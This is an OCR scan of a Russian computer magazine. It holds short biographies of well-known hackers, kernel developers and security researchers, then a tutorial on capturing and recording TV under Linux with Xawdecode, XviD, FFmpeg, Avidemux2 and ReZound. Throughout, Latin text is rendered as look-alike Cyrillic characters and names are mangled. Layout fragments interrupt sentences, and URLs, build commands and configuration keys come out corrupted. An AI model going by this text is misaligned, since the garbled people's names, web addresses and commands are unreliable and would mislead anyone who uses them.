явился сайт тм.Іід[іШпк.сот/$расепкаАог$, описы- 
вающий ход судебного дела. 

.^ОЯ НИИ РКП N00006 

Профессор компьютерных наук из техничес- 
кого колледжа Хартфорд (именно там полу- 
чил прозвище Масісіод). Олдскул хакер, бо- 
лее 20 лет проработавший над усовершен- 
ствованием ІЛМІХ'ов. Портировал І_іпих на 
процессоры АІрйа. С 1995 г. - исполнитель- 
ный директор некоммерческой организации 
иппх ІпіегпаііопаІ. 




^ НОНС НШГГВЕТ 

Один из основателей компании еЕуе Оідііаі 
Зесигііу, где занимал экзотическую долж- 
ность "главного хакера". Нашел множество 
уязвимостей в разных версиях ѴѴіпбоѵѵз, ав- 
тор нескольких эксплойтов. Опубликовал в 
Сети детальный анализ червя СобеНеб (вер- 
сии I и II). 




Л віи снезшіск 

Олдскул хакер, занимается компьютерной 
безопасностью около 30 лет. С 1987 г. рабо- 
тает на ВеІІ І-аЬогаіогіе$, где исследует раз- 




личные аспекты пеі-зесигііу. Кернел-хакер, 
мембер Сошриіег Зсіепсе Незеагсй Огоир. 
Соавтор книги "РігеѵѵаІІз апб Іпіегпеі Зесигііу: 
РереІІіпд ійе ѴѴіІеу Наскег". 

Л мпнтін НЕинпн 

Профессор Хэлман и двое его коллег ОіЛіе и 
Мегкіе известны благодаря изобретению 
криптографического метода, основанного на 
публичном ключе. Сейчас этот метод повсе- 
местно применяется для защищенной пере- 
дачи информации по интернету. Соавтор 
книги "Вгеакійгоидй: Етегдіпд №ѵѵ ТІііпкіпд" 
и автор более 60 технических статей. Перио- 
дически инвестирует в перспективные про- 
екты компьютерных энтузиастов. 




.ІЯКШЕІНЯЗ 

Легендарный Міпіх-хакер. Автор нескольких 
патчей для ОС Міпіх и 16-битного ассембле- 
ра, используемого до сих пор для отладки 
кода Ипих. 




Л ЕШС В0ѴН0Н0 

Программист, активист движения открытых 
исходников. Принимал участие в нескольких 
орепзоигзе-проектах (например, ІеісйшаіІ). 




Ведущий "Тйе №ѵѵ Наскегз Оісііопагу". Автор 
нашумевшего эссе "Тйе СаійебгаІ апб ійе 
Вагааг", которое привело к публикации ис- 
ходников №1зсаре. 

^ сеовсі синшзкі 

Независимый зесигііу-консультант из Болга- 
рии. Нашел более 70 багов в продуктах 
МісгозоЛ (ІЕ, N0, ОиІІоок, М3 ОЛісе), веб- 
серверах (М3 115, 1-ОІиз Оотіпо, Огасіе), веб- 
приложениях (Ноітаіі) и ОС (АІХ, Зоіагіз, 
*ВЗО). Автор множества зесигііу-публикаций. 

Соавтор книги "Наск Ргооііпд Уоиг №Іѵѵогк 
- Іпіегпеі ТгабесгаЛ". 




-ІЯІЯНС0И 

Известнейший программист и кернел-хакер. 
Возглавляет группу разработчиков ядра 2.6 
ОС Ипих (до этого принимал участие в рабо- 
те над ветками 2.2.x, 2.4.x). Автор множества 
патчей и хинтов для Ипих. В последнее вре- 
мя его влияние на развитие ОС Ипих превы- 
шает даже влияние самого Торвальдса. 




Л ПШЕШТПЯЕЯВНІШ 

Профессор компьютерных наук, эксперт по 
никсовым системам. Автор ІЛМІХ-клона Міпіх, 
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вдохновившего Торвальдса на написание 
І_іпих. Автор бестселлеров: "Сотриіег 
№Іѵѵогкз", "Орегаііпд Зузіетз: Оезідп апб 
Ітріетепіаііоп", "Мобегп ОрегаТіпд Зузіетз". 
Преподает на факультете компьютерных наук 
в Университете Амстердама. 

А МПВСЕЮ ТОЗПТТІ 

Молодой бразильский кернел-хакер. Начал 
работать на І5Р в возрасте 13 лет! После то- 
го как Линус Торвальдс и Алан Кох углуби- 
лись в разработку 2.6 ядра, работу над вер- 
сией 2.4 они поручили Тосатти. Этим он сей- 
час и занимается. 




НШЕ8Т 

Профессор из МТИ, ведущий специалист 
по криптографии, компьютерной безопас- 
ности и алгоритмам. Один из трех основа- 
телей В5А Эаіа Зесигііу и соавтор крипто- 
системы В5А. Принимает активное участие 
в проекте Реррегсоіп (ѵш.реррегсоіп.сот). 
Опубликовал множество документаций на 
тему криптографии. 




А 8ТЕРНЕН ТШЕЕОІЕ 

Кернел-хакер с 1993 г. Работает в Неб Наі 
над разными частями ядра (в основном - 
файловой системой и ѴМ). Автор журналиру- 
емой файловой системы ехіЗ, сейчас зани- 
мается ее поддержкой. 




А РШНІІІХІЕ 

Олдскул хакер, разработчик интернет-прото- 
колов и системы ІІМІХ. Основатель Іпіегпеі 
ЗоЙѵѵаге Сопзоіііит (І5С) в 1994. Автор 
зепбз, ргохупеі, гйу, сгоп и многих других 
полезных утилит. Сейчас занимается подде- 
ржкой ВІШѵ8 в Университете Беркли. 




А онто мшен 

Кернел-хакер, один из разработчиков І_іпих. 
Изучает присланные патчи, определяя, какие 
включить в следующий релиз, а какие нет. 
Помимо этого, портирует І_іпих на процессо- 
ры Зрагс. Автор известной документации о 
механизме раде-Иизб, автор метода доступа 
к памяти Ііягу базбіпд. Работает на Веб Наі. 



А ООНПШРІРШ 

Ведущий зесигііу-эксперт компании НеѵѵІеН- 
Раскагб. Автор книг: "НаІІІпд Ібе Наскег: 

А Ргасіісаі Оиібе Іо Сотриіег Зесигііу", 
"Іпіогтаііоп Зесигііу: Ргоіесііпд Ібе ОІоЬаІ 
Епіегргізе". Разрабатывает и внедряет систе- 
мы защиты для 
клиентов НР, 
периодически 
выкладывает 
результаты сво- 
их исследова- 
ний в Сети. 





^рпиікошк 

Один из самых известных и авторитетных 
исследователей в области криптографии. 
Работает в Сгуріодгарбу Везеагсб іеат, ока- 
зывая консультации крупным компаниям. 

Активный участник всех основных конфе- 
ренций по криптографии, автор многих 
криптоприложений и протоколов, включая 
551- ѵЗ.О. Руководитель группы разработчи- 
ков ОІНегепІіаІ Роѵѵег Апаіузіз, принимает так- 
же участие в разработке защиты смарт-карт. 




А ИІЕЕ8 РП0І08 

Известный эксперт в области компьютерной 
безопасности, участвующий во многих зесигі- 
Іу-проектах. Автор более 20 эдвайсоров и 
нескольких популярных утилит (ІМеІІауоиІ, 
Зузігасе, ЗсапЗЗН, СгаѵѵІ, иЬіо). ІІпіх-гуру, 
разработчик №ІВ50 и ОрепЗЗН. Интересует- 
ся также разными аспектами криптографии. 




А КІІ88ЕІІ КШС 

Кернел-хакер. Самостоятельно портировал 
Ипих на процессор АВМЗ. Продолжает зани- 
маться адаптацией ОС на процессоры АПМ, 
доводя до ума присылаемые АВМ-разработ- 
чиками патчи. Также принимает участие в 
поддержке ядра 2.4 Ібпих. 




Ат ВЕРЕЕ 

Зесигііу-эксперт и ІІІМІХ-гуру, работающий на 
Мапбгаке. Ведущий разработчик проекта 
ВазІіІІе (ѵѵѵѵѵѵ.ЬазІіІІе-Ііпих.огд) - системы, усили- 
вающей безопасность ІІМІХ-кпонов. Автор 
книг "Зпогі 2.0: Іпігизіоп Оеіесііоп", "Зесигіпд 



98 






ЛИЦО ХЛКСЦЕНЫ 




І_іпих ібе ВазІіІІе ѴѴау" и более 20 популярных 
статей на тему ІІпіх/Шпих зесигііу. Участвует 
в проекте Нопеупеі. 



Л оме отмен 

Опытный программист и сисадмин, зани- 
мался поддержкой веб-сервисов на заре 
ШЛА/. Сейчас главный зесигііу-инженер в 
Сотриііпд Зегѵісез Зесигііу Орегаііопз дгоир 
Вашингтонского Университета. Занимается 
исследованиями в области компьютерной 
безопасности и аналитикой хакерских атак. 
На протяжении последних 1 0 лет ведет кур- 
сы по администрированию ІЛМІХ. Активный 
мембер проектов Нопеупеі и ЗеаНІе'з Адога. 




Л $ш 

Известный своими зесигііу-релизами член 
группы ТЕЗО. Талантливый программист, с 6 
лет занимается компьютерами. Последние 
несколько лет исследует различные аспекты 
компьютерной безопасности. 




Л еѵооок 



Молодой талантливый программер, автор 
самого популярного сканера ШАР. Один из 
активных участников Нопеупеі Ргоіесі. Отец 




Шр://іп$есііге.огд - одного из крупнейших в Се- 
ти источников информации по уязвимостям, 
и зесигііу-рассылки ІтІІрУ/зесІізІз.огд. 

Л ИІХТЕК 

Зесигііу-исследователь, программист. Напи- 
сал ряд известных утилит: систему обнару- 
жения атак зрібегпеі, альтернативу 55Н -О, 
сетевые сервисы ІУЬМіх, ТРИ (ТгіЬе РІоосІ 
№Іѵѵогк) и сетевой сканер ИЗАТ (Ібе Иеіѵѵогк 
Зесигііу Апаіузіз ТооІ). Автор нескольких до- 
кументаций, среди которых: "Ргоіесііпд 
адаіпзі Ібе ипкпоѵѵп", "Виііег оѵегііоѵѵ боѵѵіо", 
"Рагапоіа ѵз. Тгапзрагепсу", ’Аиіотаііоп 
Роіепііаіз іог ІТ зесигііу". Работая в Израиле, 
помог ФБР обнаружить нескольких пакиста- 
нских дефейсеров. С 2000 г. работает на 
Наскііѵізто - некоммерческую организацию, 
отстаивающую вопросы прав человека. 




^ РЕОПРН ЙИІНІ 

Зесигііу-инженер в небольшой приватной 
компании ЮЕРЕИЗЕ, занимается тестирова- 
нием разных систем и поиском в них уязви- 
мостей. Автор нескольких популярных зесигі- 
Іу-утилит (рбипс, сіпз буаскег, сопіизе 
гоиіег), разработчик плагинов ОІІуОЬд и ЮА 
Рго. Основатель іійр://ге(Ііііѵе.сопі, своеобразно- 
го сетевого клуба для тех, кто интересуется 
компьютерной безопасностью. 




Л КОВЕКТ скпнпи 

Один из самых авторитетных в мире экспер- 
тов по компьютерной безопасности. С 
детства увлекается криптографией, первые 
зесигііу-утилиты написал еще в колледже, 
вдохновленный червем Морриса. В 1998 г. 
стал одним из основателей №Іѵѵогк ІСЕ, 
поставляющей на рынок ведущие продукты в 
сфере компьютерной безопасности (файр- 
вол ВІаскІСЕ Реіепбег, ОідаЬІІ Зепігу). Автор 
нескольких ЕАО'ов. Постоянный участник и 
спикер на многочисленных зесигііу-конфе- 
ренциях. 

Л шсиш 

Работал зесигііу-консультантом в 115 
Іпіегпеіѵѵогкіпд, ОТЕ Іпіегпеіѵѵогкіпд, ВВИ и 
Министерстве обороны США. Основатель 
№Іѵѵогк Зесигііу \А/ігагсІз - компании, разра- 



ботавший одну из самых 
коммерчески успешных 
систем обнаружения 
атак Огадоп. N51/1/ впос- 
ледствии была куплена 
Епіегазуз Меіѵѵогкз и пе- 
реименована в СаЫеІгоп 
Сотрапу. Рон работает в ней начальником 
отдела компьютерной безопасности. 

Л ЗПРПЗП 

Русский зесигііу-специалист, отец сайта 
Шр://$есигіІу.ппоѵ.пі. Автор многочисленных эд- 
вайсоров. Работает в крупной российской 
компании, занимаясь поддержкой пользова- 
телей. Принимает активное участие в иссле- 
дованиях и обсуждении компьютерной безо- 
пасности. 





Л НОНТѴ К0Е8СН 

Авторитетный специалист по техникам про- 
никновения в компьютерные системы. Автор 
Зпогі Іпігизіоп Пеіесііоп Зузіет 
(ѵѵѵѵѵѵ.зпогі.огд) и многих других зесигііу-ути- 
лит (сканеры, бопеуроіз и т.д.). Один из раз- 
работчиков политики безопасности в СТЕ 
Іпіегпеіѵѵогкіпд, 51ап1огб Теіесоттипісаііопз 
Іпс и Министерстве обороны США. Основа- 
тель и руководитель зесигііу-компании 
ЗоигсеРіге. 




Л КЕІТН ОШЕНЗ 

Кернел-хакер. Компьютерную карьеру начи- 
нал как системный программист на 
мейнфреймах ІВМ. Работал практически на 
всех клонах СІМІХ, с появлением первых вер- 
сий Упих сразу влился в команду его подде- 
ржки. Написал несколько патчей и фиксов 
для ранних версий Упих, принимал активное 
участие в разработке ядра 2.5. В 2000 г. при- 
соединился к группе ЗОІ и сейчас занимается 
поддержкой ксІЬ на системах іх86 и Іа64. Т~ 
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ПИНГВИН-ТЕПЕЗРИТЕПЬ 



упив ТВ-тюнер и принеся его домой, пользователь обнаруживает в коробке замечательный СО, а еще книжечку о том, какой софт на 
компакте находится и как использовать это добро. На первый, неискушенный взгляд, добра там предостаточно. Только вот для Ііпих 
ничего нет, да и информации в печатных органах не так уж много. Что ж, восполним этот пробел. 

ШІІІХ: ПРИЕМ ТВ И ЕГО ЗППИСЬ В МРЕС4 



а ориентирование 
на местности 

ачнем с того, что в каждом ма- 
ло-мальски популярном дист- 
рибутиве Шлих есть и драйве- 
ры, и софт для приема ТВ. Но 
дистрибутив дистрибутиву 
рознь. Например, в І_іпих 
Мапбгаке есть 4 программы, 
которые позволяют смотреть 
ТВ - ХаѵѵТѵ, МоТѵ, Іарріпд и 
Мріауег/Мепсобег. По сути, только послед- 
ний может записывать видео в нужный нам 
формат, например, ОіѵХ. Но особой заточки 
именно под телевидение Мріауег не имеет, и 
поэтому использовать его для этих целей не 
так уж удобно. Напрашивается вывод - ис- 
кать что-то еще. 

Поиски привели меня к четырем продук- 
там, о которых я хочу тебе рассказать. Этот 
набор софта кажется мне самым удобным. 
Ведь можно скачать кучу разных программ, 
все установить и протестировать, потратив 
на это время и усилия. Я же предлагаю тебе 
уже готовые результаты такого каторжного 
труда :). К сожалению, насколько мне изве- 
стно, в рунете нет сайтов, посвященных зах- 
вату видео и его обработке именно в Упих'е. 
А для ѴѴі п сі оѵѵз - п роду кто в существует заме- 
чательный ресурс ІіліегЖсот, который стоит 
посетить и линуксоидам. Но вернемся к на- 
шей теме. В этой статье речь пойдет о прог- 
рамме для приема ТВ, кодеках сжатия видео 
и аудио и утилите редактирования видео 
(например, для вырезания из него рекламы). 

^ ВЫБИРПЕИ ОУПИОКОДЕК 

Начнем с кодеков. Как правило, в тред4-по- 
добных форматах (ОіѵХ, ХѴіб) для сжатия 
звука используется обыкновенный трЗ. Ко- 
деков для него предостаточно, но в послед- 
нее время стандартом де-факто стал І_ате 
(хотя, на мой взгляд, вернее, слух, ВІабеЕпс 
меньше искажает звук). Бате забирается с 
Іате.зоигсеіогде.пеі. Напомню, что не стоит сжи- 
мать звук переменным битрейтом, так как 
позже, когда ты надумаешь что-нибудь сде- 




лать с таким фильмом, его редактирование 
может быть осложнено проблемой синхрони- 
зации видео с аудио. Это не камень претк- 
новения, но прибавит хлопот. Насколько я 
знаю, тот же Ѵігіиаі ЭиЬ не умеет работать с 
переменным битрейтом, а АѵісІетих2 (о нем 
будет рассказано ниже) может, но результат 
работы предсказать трудно. 

В одной из статей на Іипег.іхМ.сот я натк- 
нулся на совет о том, что при записи звук 
надо всегда выбирать без компрессии, а 
сжимать только потом, чтобы избежать де- 
синхронизации. Возможно, в ѴѴіпбоѵѵз такая 
проблема и актуальна, но в мире ІУпих я с 
ней не столкнулся. Всегда без проблем сжи- 
мал сразу трЗ. 

А витва видЕотитанов 

К видеокодекам стоит подойти более тонко. 
В своих рассуждениях я буду исходить из 
того, что нам нужен кодек, который сразу 
будет качественно сжимать видео. Думаю, 
что никого не греет перспектива сначала за- 
писать с ТВ фильм в несжатый аѵі, а потом 
на досуге конвертировать его в другой фор- 
мат. Еще нам нужна скорость. Чтобы про- 
цессор не перегревался, а система не тре- 
щала по швам, когда идет запись видео. 

Обычно в обзорах советуют использовать 
самый свежий кодек ОіѵХ. Возражу. Во-пер- 
вых, фактор его популярности в ѴѴІпбоѵѵз не 
влияет на факт его непопулярности в Упих 
:). Во-вторых, на сайте флагмана видеоути- 
лит под ѴѴІпбоѵѵз, Ѵігіиаі Риб, на момент на- 
писания этих строк висит манифест. В нем 



сказано, что ОіѵХ 5. 1 не будет поддержи- 
ваться в Ѵігіиаі ЭиЬ никоим образом. Причи- 
на - разработчик не может отлаживать 
Ѵігіиаі ЭиЬ при установленном ОіѵХ 5.1 из-за 
защитных механизмов последнего. Ситуация 
может измениться в следующих релизах 
ОіѵХ, но пока дела обстоят именно так. 

Далее. Большинство фильмов сжаты либо 
ЭіѵХ'ом, либо ХѴісГом. Все это тред4-по- 
добные кодеки, различающиеся набором 
фишек и производительностью. Но прожор- 
ливы оба. О более скромном в плане ресур- 
сов кодеке я расскажу в свое время. 

Так вот, при тестировании на моем Аібіоп 
ХР 1500 под ѴѴіпбоѵѵз 98 5Е старый добрый 
ЭіѵХ 5.0 с параметрами по умолчанию загру- 
жал процессор на 80 процентов. Это при за- 
писи в ВогдТѴ. Под І_іпих тоже по умолчанию 
настроенный ХѴіб занимал 75% ресурсов 
процессора. Может быть, ЭіѵХ в Упих'е по- 
вел бы себя иначе, чем в ѴѴіпбоѵѵз, не знаю. 
Но думаю, что не зря мы сейчас видим все 
больше и больше фильмов, сжатых ХѴіб 'ом. 
Поэтому скачиваем с ѵш.хѵісі.огд свежую вер- 
сию этого кодека и устанавливаем ее из ис- 
ходников уже стандартным способом сопТід- 
иге/таке/таке іпзіаіі. 

А ПРИНИНПЕМ на ГРУДЬ 

Теперь обратим взор на программу, которая 
будет отвечать за прием и запись - 
Хаѵѵбесобе. С помощью этой программы мы 
будем принимать ТВ-сигнал и записывать 
его, подрядив под это дело внешние коде- 
ки, которые обнаружатся у нас при запуске 



ПОЛЕЗНЫЕ ЗВУКОВЫЕ ФИЛЬТРЫ ЯІІ0ЕИ0Х2 

М огтаііге - нормализация звука, то есть "дотягивание" его до 
нуля дБ. Не очень хорошая идея, потому что самые тихие 
звуки могут выползти на передний план. Если звук вообще уж 
очень тихий, пользуйся. 

Тіте зТііЙ - сдвиг звука относительно видео (надо ввести значе- 
ние в миллисекундах). Полезно, когда у тебя есть фильм с пло- 
хой синхронизацией видео с аудио. 
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ПИНГВИН-ТЕПЕЗРИТЕПЬ 



скрипта сопіідиге. Вот какие кодеки он най- 
дет, их поддержка и будет работать после 
компиляции. 

На первый взгляд Хаѵѵбесосіе может по- 
казаться неудобным. В самом деле, что это 
такое - менюшек нет, тулбара нет :). Но это 
лишь на первый взгляд оно топорно. Кнопка 
"С" вызывает к жизни окно со списком ка- 
налов. Каждый канал представлен скриншо- 
том с этого канала. Разумеется, каналы 
нужно сначала найти. Во-первых, их можно 
переключать курсорными клавишами 
вверх/вниз (а влево/вправо - тонкая 
подстройка). Во-вторых, когда ты точно 
знаешь, где какой канал, отредактируй 
файл конфигурации - он лежит в твоей до- 
машней директории в подкаталоге .хаѵѵбе- 
сосіе и называется хаѵѵбесосіегс. В секции 
СІобаІ орііопз, где задаются опции по умол- 
чанию, пишем следующее: 



Описываем глобальные опции 



погт = РАІ. 
саріиге = дгаЬ 
зоигсе = Теіеѵізіоп 

Это значит, что ТВ-стандартом по умолча- 
нию у нас будет РАЦ видеозахват будет про- 
изводиться через антенну, а дгаб указывает 
на то, что картинка будет выведена на уст- 
ройство экрана. Кстати, нажав в Хаѵѵбесосіе 
на кнопку О, ты попадешь в окно настроек. 

Здесь присутствует аналогичная опция 
Саріиге. По умолчанию она выставлена в 
Оѵегіау. Если у тебя оверлей не поддержи- 
вается, то в окне ТВ изображения не будет. 
Надо выбрать из списка значение "дгаМіз- 
ріау". То же касается, кстати, и программы 
ХаѵѵТѴ. 

Но вернемся к настройке каналов. В фай- 
ле конфигурации в конце, за комментарием 
"СбаппеІ орііопз", идет набор секций, каждая 
из которых описывает очередной канал. 
Пример такой секции: 




Тюнинг ТВ-каналов 



[ИСНАШ] 
сбаппеі = 52 
(іпе = -6 
погт = БЕСАМ 
соіог = 16302 
ЬгідМ = 28483 
кие = 29954 
сопігазі = 32314 
кеу = СІгІ+6 

Названия параметров не введут тебя в 
заблуждение. Скажу только о Тіпе - это та 
самая тонкая подстройка, которая изменяет- 
ся клавишами влево/вправо. Исходное зна- 
чение - ноль. Клавиша "влево" изменяет Тіпе 
в минусы, а "вправо" - наоборот. 

Все эти значения можно регулировать и 
несколько иначе, прямо из Хаѵѵбесосіе. Кла- 
виша Е показывает окно настройки канала. 
Однако, во время написания этих строк, не 
все параметры сохраняются в конфиге, поэ- 
тому на практике удобнее и быстрее 
действовать в текстовом редакторе :). 

Да, я знаю, что в ЬТѵ все регулируется че- 
рез графический интерфейс. Обратная сто- 
рона медали - ЬТѵ является коммерческим 
продуктом. Это раз. Относительно сырой 
интерфейс - вторичен. Это два. 

И снова о каналах. Если нужный тебе ка- 
нал работает в стандарте, отличном от по 



0Д0 ЕЕНРЕб'У 

Н еобходимый минимум кодеков у нас есть, однако пригодит- 
ся еще один - РТтред. Вообще говоря, чтобы выжать из него 
все возможное, надо записывать видео через тепсосіег, выб- 
рав в качестве кодека "Іаѵс". Но сейчас мы говорим о простоте 
и комфорте и стандартах отечественного ТВ. Поэтому качаем 
РТтред в чистом виде (Ятпред.зТ.пеІ) и устанавливаем его сле- 
дующим образом (опция --епаЫесІ-зІіагесі нужна для того, что- 
бы софт для приема/записи ТВ увидел наш кодек): 

К ,/сопТідиге -епаЫе(1-$Ііаге(1 
II таке 
II таке іпаіаіі 



РТтред крайне нетребователен к ресурсам компьютера. Ис- 
пользуя его в качестве декодера, люди СМОТРЯТ видео на 
компьютерах с процессорами эдак К6-2 300. В режиме сжатия 
видео этот кодек тоже более чем умерен в потреблении ресур- 
сов - процентов на 70% меньше, чем ХѴісІ. Но ХѴісІ, по моим наб- 
людениям, лучше в тех ситуациях, когда ты записываешь видео 
с каналов, прием которых очень плох, и картинка содержит мно- 
го мусора. РТтред превращает этот мусор в нечто невообрази- 
мое на экране, а вот ХѴісІ выдает более пристойную картинку. Но, 
записывая с "хороших" каналов, я использую только РТтред. 



умолчанию, например в Зесат, то добавь в 
секцию этого канала строку "погт = зесат". 
Переключить стандарт на ходу можно в окне 
настроек, просто выбрав нужный из списка. 
Также можно назначить каждому каналу не- 
кую комбинацию клавиш - в приведенном 
выше примере это СТгІ-6. 

А ПРЕЛЕСТИ СШ 

Вот когда удобно пользоваться графичес- 
ким интерфейсом, так это при настройке 
параметров кодеков. В окне опций идем в 
меню Весогб Моѵіе -> Рагатеіегз. В самом 
верхнем списке Собес выбираем РТтред - 
Мред4 или ХѴісІ. В ѴѴІсШі и НеідЬТ задаем 
ширину и высоту записываемого видео. 

Для справки - в системах РАЬ и БЕСАМ 
стандартные размеры картинки таковы: 
768x576. 

Следующая опция, ОиаІІІу - качество 
сжатия. Чем выше, тем больше нагрузка на 
процессор и тяжелее файл. У разных коде- 
ков - разная градация качества. Например, 
для ХѴісІ таких пресетов больше, чем для 
РТтред. 

Далее идут еще две, наверное, самые 
важные опции: Міп Оиапіігег (равно 2 по 
умолчанию) и Мах Оиапііхег (равно 8 по 
умолчанию). Это настройки квантайзера. 
Квантайзер заведует макроблоками, на ко- 
торые разбивается изображение. Не углуб- 
ляясь в теорию, выдам несколько рабочих 
тезисов: 

О. Указанные тобой размеры влияют на 
те самые "пиксельные квадраты", которые 
ты видишь на экране. Например, при Мах 
Оиапііхег = 18 получится изображение, ВИ- 
ДИМО состоящее из квадратов, каждый из 
которых состоит из пикселов. 

в. Чем меньше оба значения, тем боль- 
ше файл, больше нагрузка на процессор, но 
лучше качество. 

О. Идеальное качество - когда оба пара- 
метра равны и невелики, например, 2-3. Но 
подумай, сколько это будет весить? 

О. Изменение значений хотя бы на еди- 
ницу влечет за собой ощутимые послед- 
ствия, особенно в плане размера файла. 

И еще одна важная 
опция, влияющая на ка- 
чество видео - это, ко- 
нечно же, Віігаіе. Обыч- 
но можно ставить от 800 
до 1500. Разумеется, 
чем битрейт ниже, тем 
меньше файл, и наобо- 
рот. Ниже настроек гра- 
фики идут всевозможные 
опции сжатия звука - 
подразумевается трЗ. 

Параметр Віігаіе тосіе 
устанавливаем в 
Сопзіапі (СВР), а для 
трЗ Віігаіе будет доста- 
точно 1 28, учитывая "ка- 
чество" звука по ТВ. В 
этом же окне настроек 
надо прописать, куда бу- 
дут сохраняться видео- 
файлы. Их названия 
формируются автомати- 
чески, исходя из назва- 
ния канала, а также даты 
и времени. 



■Ж* 

а На Хакер СО ты 
найдешь весь софт, 
который был упомя- 
нут в статье. А 
именно: последние 
версии аудио- и ви- 
деокодеков, прог- 
раммы для захвата 
ТВ-сигнала и редак- 
тирования видео. 




л Особенность 
АѵісІетих2 - сохра- 
нение производит- 
ся только в копию 
файла, оригинал 
при этом не затра- 
гивается. Поэтому 
запасись большим 
винтом :). 
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а После ВиіІсІ ѴВП 
Ііте тар, когда ты 
сохранишь файл в 
АѵісІетих2, резуль- 
татом может быть 
проблематичная 
прокрутка видео (в 
плеере). 




^Іипег.іхЫ.сот 
л хаѵѵсІесосІе.зГпеІ 
а тусііѵх.ііііотап.ги 
а ЛхоипеМгее.Сг/ 
аѵісіетих 
а ѵтт.хѵісі.огд 
а шиѵ.гохіоп.кіеѵ.иа 
а тто.ѵііІиаІсІиЬ.огд 
а тѵѵѵ.ипсІегЬіі.сот/ 
ргосіисіз/тасі 




Л ПИНГВИН-ЯЕСОНО’СИЕН 

Сохраняем настройки, закрываем окно. Те- 
перь, чтобы записать видео, достаточно на- 
жать кнопку В. Чтобы прекратить запись - 
тоже ее. Если снова нажать Я, то начнется 
запись другого файла. Не перепутай с ЬТѴ, 
где очень популярна кнопка паузы, и видео 
сбрасывается в один и тот же файл, кото- 
рый ты указал в опциях. 

Завершая тему записи, не могу обойти 
вниманием важный вопрос. Допустим, ты 
планируешь записать фильм длиной в пол- 
тора часа. И тебе нужно подобрать настрой- 
ки кодека таким образом, чтобы полученный 
в результате файл с видео поместился на 
одну болванку, то есть был размером, ска- 
жем, до 700 Мб. 

Без сомнения, подбор опций кодека надо 
делать вручную. Но не записывать же тебе 
видео на 1 ,5 часа, только чтобы посмотреть, 
сколько будет весить файл? Вывод - надо 
записать короткий фрагмент и на его основе 
вычислить, сколько будет весить файл с та- 
кими же параметрами кодека, но большего 
времени. 

Можно в уме, можно на калькуляторе. Но 
проще всего скачать с 

шшхІоп.кіеѵ.иа/ѵііШагМ маленькую (аж 8 ки- 
лобайт) утилитку, которую я создал специаль- 
но для этого. Документация прилагается. 
Кстати, аналог существует и под ѴѴіпсІоѵѵз, вот 
он - Шр:/Липег.іхЫ:.сот/саріигеЛіІе$/ЬЬс_10.2ір. Надо 
сказать, что сначала я написал свою програм- 
му, а потом уже узнал о "конкуренте" :). 

Л РЕЖЕИ РЕКППМ9 

Все, допустим, записали мы видео. Фильм 
какой-нибудь. Но вот реклама, будь она не- 
ладна! Как говорил один хирург, будем вы- 
резать. Вводим в нашу пьесу нового персо- 
нажа - Аѵібетих2 (ПхоипеЕТгее.Д/аѵібетих). Что 
любопытно - и Хаѵѵбесобе, и Аѵіс1етих2 - 
французские программные продукты. Знать, 
любят видео в солнечной Франции! 
Аѵібетих2 очень напоминает просто 
Аѵісіетих :). А тот, в свою очередь, похож на 
Ѵігіиаі РиЬ. Но во второй ипостаси 
Аѵібетих'а больше отличий, чем сходства. 

Открываем в Аѵібетих2 файл. Если в нем 
трЗ сжат с переменным битрейтом, то до- 
полнительно надо применить операцию 
Аибіо -> Виііб ѴВВ бше тар. Кстати, для 

этой операции тебе понадо- 
бится еще трЗ-кодек Маб - 
он часто бывает и на дист- 
рибутивах І_іпих. Конечно же, 
его надо установить до инс- 
талляции Аѵібетих2. 

Я кратко расскажу, что 
можно делать с Аѵібетих2 - 
кратко потому, что на сайте 
есть полная документация на 
русском. Во-первых, ты мо- 
жешь покадрово перематы- 
вать фильм :). Курсорными 
клавишами на цифровой 
части клавиатуры, при вклю- 
ченном кіиті-оск. Влево- 
вправо - это вперед и назад, 
а вверх-вниз - аналогично, 
но по ключевым кадрам. 

Чтобы вырезать рекламу 
или вообще любой отрезок 
видео (вместе со звуком), 



КЕ20ІШ - ЗВУКОВЫХ ДЕП МЯСТЕР 

П ри работе в ѴѴіпсІоѵѵз, когда мне нужно было сделать что-ли- 
бо со звуком (вырезать ненужное, конвертировать в другой 
формат, пропустить через реверс), я всегда использовал 
ЗоипсІРогде или ѴѴаѵеІ-аЬ. С переходом в І_іпих мне тоже понадо- 
бился аналогичный инструмент - удобный и многофункциональ- 
ный. После некоторых поисков я обнаружил Пе^оипб 
(гегоипсІ.зТ.пеІ). ПегоипсІ 
работает на движке интер- 
фейса РохТооІкф поэтому 
придется скачать и его 
(ѵѵѵѵѵѵ.Тох-ІооІкй.огд). Соб- 
рался он у меня с некоторы- 
ми трудностями. Пришлось 
после ./сопТідиге вручную 
отключать опции сборки с 
поддержкой Ореп<31_. 

Пожалуй, Ре2оипсі стоит на 
одном уровне со своими 
коммерческими собратьями 
из мира ѴѴіпсІоѵѵз - с тем же 
ЗоипсІРогде. Уйма функций обработки звука и эффектов на все 
случаи жизни. Поддержка плагинов І_АОЗРА. РІекоторые уникаль- 
ные фишки, например, колесико, которое в реальном времени 
регулирует скорость воспроизведения. Я использую Пе2оипсІ 
для того, чтобы сжимать файлы в ОддѴогЬіз - по загадочной при- 
чине Ре^оипсІ выдает файлы меньшего размера, чем оригиналь- 
ный оддепс при одинаковых параметрах сжатия. Разумеется, 
Ре^оипсІ может открывать файлы в форматах МРЗ и Одд и сохра- 
нять их. Не говоря уже о форматах без компрессии, вроде ѴѴаѵ. 

Ре2оипб практически целиком локализован на русский Алекса- 
ндром Прокудиным - не обращай внимания на англоязычный 
скриншот, просто я предпочитаю "английские версии". Итак, 
Ре2оипб - программа однозначно тизі Ігаѵе для любого линук- 
соида, да и, пожалуй, профессионального звукорежиссера. 




нужно перемотать видео к началу фрагмен- 
та, который необходимо удалить. Здесь 
ставим маркер А через меню Ебіі -> Зеі 
тагкег А или кнопкой на нижнем тулбаре 
(выглядит как ">А"). Затем прокручиваем 
видео до конца фрагмента и ставим маркер 
В - из того же меню или кнопкой ">В". Те- 
перь лезем в Ебіі -> Удалить. Да, интер- 
фейс русифицирован пока не полностью. 
Тем менее, работает :). 

После удаления ненужных фрагментов 
файл сохраняем. Вообще, нужно помнить, 
что если у тебя до сих пор установлены мар- 
керы, то сохранен будет лишь тот участок, 
что находится между ними. Таким же обра- 
зом ты можешь, например, выдрать из филь- 
ма понравившуюся музыку в титрах: выдели 
фрагмент и сделай РІІе -> 5аѵе Аибіо. 

При сохранении видео тебя спросят, же- 
лаешь ли ты использовать Зтаб Сору. Что 
это такое? Поясню. Аѵіс1етих2 работает в 
двух режимах - Сору и Ргосезз. Первый - это 
когда ты занимаешься просто редактирова- 
